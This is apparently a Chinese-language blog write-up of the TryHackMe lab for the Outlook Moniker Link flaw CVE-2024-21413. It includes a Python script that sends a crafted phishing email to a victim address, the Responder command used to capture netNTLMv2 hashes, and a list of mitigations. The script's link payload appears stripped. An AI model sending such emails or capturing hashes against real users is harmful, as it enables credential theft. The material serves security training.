微软CVE-2024-21413输入验证漏洞利用详解

本文详细介绍了CVE-2024-21413漏洞的利用过程,通过Moniker Link在HTML邮件中触发SMB连接,使用Responder捕获受害者netNTLMv2哈希的完整技术实现方案。

邮件利用Moniker Link-CVE-2024-21413模块 — 技术文档

概述: 一个实用的PoC演示,展示如何在HTML邮件中使用Moniker Link触发Outlook发起SMB连接,通过Responder捕获受害者的netNTLMv2哈希。这展示了渗透测试、脚本编写和网络协议分析方面的实践技能。


展示的关键技能

  • 用于自动邮件发送的Python脚本编写
  • 对SMB、NTLMv2、LLMNR、NBT-NS和MDNS协议的理解
  • Responder配置和哈希捕获监控
  • Linux网络/DNS配置问题排查
  • 在实验环境中构建受控的进攻性安全场景

PoC工作流程

  1. 设置SMB监听器: 在攻击机器上启动Responder以监控SMB认证尝试
  2. 发送精心构造的邮件: 使用Python脚本发送包含指向攻击者SMB共享的Moniker Link(file://)的HTML邮件
  3. 哈希捕获: 当受害者点击链接时,Outlook尝试通过SMB获取文件,Responder捕获netNTLMv2哈希

最小化利用脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# exploit.py(精简版)
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr

sender = 'attacker@monikerlink.thm'
receiver = 'victim@monikerlink.thm'
mailserver = '10.201.52.124'  # THM SMTP服务器
password = input('输入攻击者邮箱密码: ')

html = '点击我'

msg = MIMEMultipart()
msg['Subject'] = 'CVE-2024-21413'
msg['From'] = formataddr(('CMNatic', sender))
msg['To'] = receiver
msg.attach(MIMEText(html, 'html'))

with smtplib.SMTP(mailserver, 25) as s:
    s.ehlo()
    s.login(sender, password)
    s.sendmail(sender, [receiver], msg.as_string())
    print('邮件已发送')

提示: 运行前替换ATTACKER_IPmailserver。在TryHackMe实验环境中,密码为attacker


运行Responder

1
responder -I ens5

ens5替换为你的网络接口名称


排查/etc/resolv.conf问题

有时Responder因/etc/resolv.conf中的符号链接损坏而失败。修复方法:

1
2
3
4
5
6
rm -f /etc/resolv.conf
printf "nameserver 8.8.8.8
nameserver 1.1.1.1
" > /etc/resolv.conf
chmod 644 /etc/resolv.conf
cat /etc/resolv.conf

突出技能: Linux故障排除、DNS配置以及使工具适应云/VM环境


进度截图

  1. 错误/Resolv.conf问题:`

  2. DNS修复应用

  3. Python邮件脚本

  4. 漏洞利用发送

  5. 受害者收件箱

  6. 捕获的受害者哈希


使用的工具和命令

  • Responder:SMB/LLMNR/NBT-NS/MDNS监听器
  • Python3:PoC邮件脚本执行
  • smtplib / email.mime:用于构造和发送邮件的Python库
  • 用于DNS故障排除的Linux shell命令

学到的技能/作品集亮点

  • 网络攻击模拟和漏洞利用工作流程
  • 自动化社会工程向量(Moniker Link邮件)
  • 捕获和分析netNTLMv2哈希
  • 跨学科故障排除:Python、网络、Windows和Linux交互
  • 技术评审的文档和工作流程展示

缓解和防御措施

  • 在Outlook中禁用自动外部内容
  • 阻止到不受信任网络的出站SMB
  • 在Windows客户端上强制执行SMB签名和现代认证策略

归属说明

改编自TryHackMe MonikerLink实验室和CMNatic的原始PoC(GitHub

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计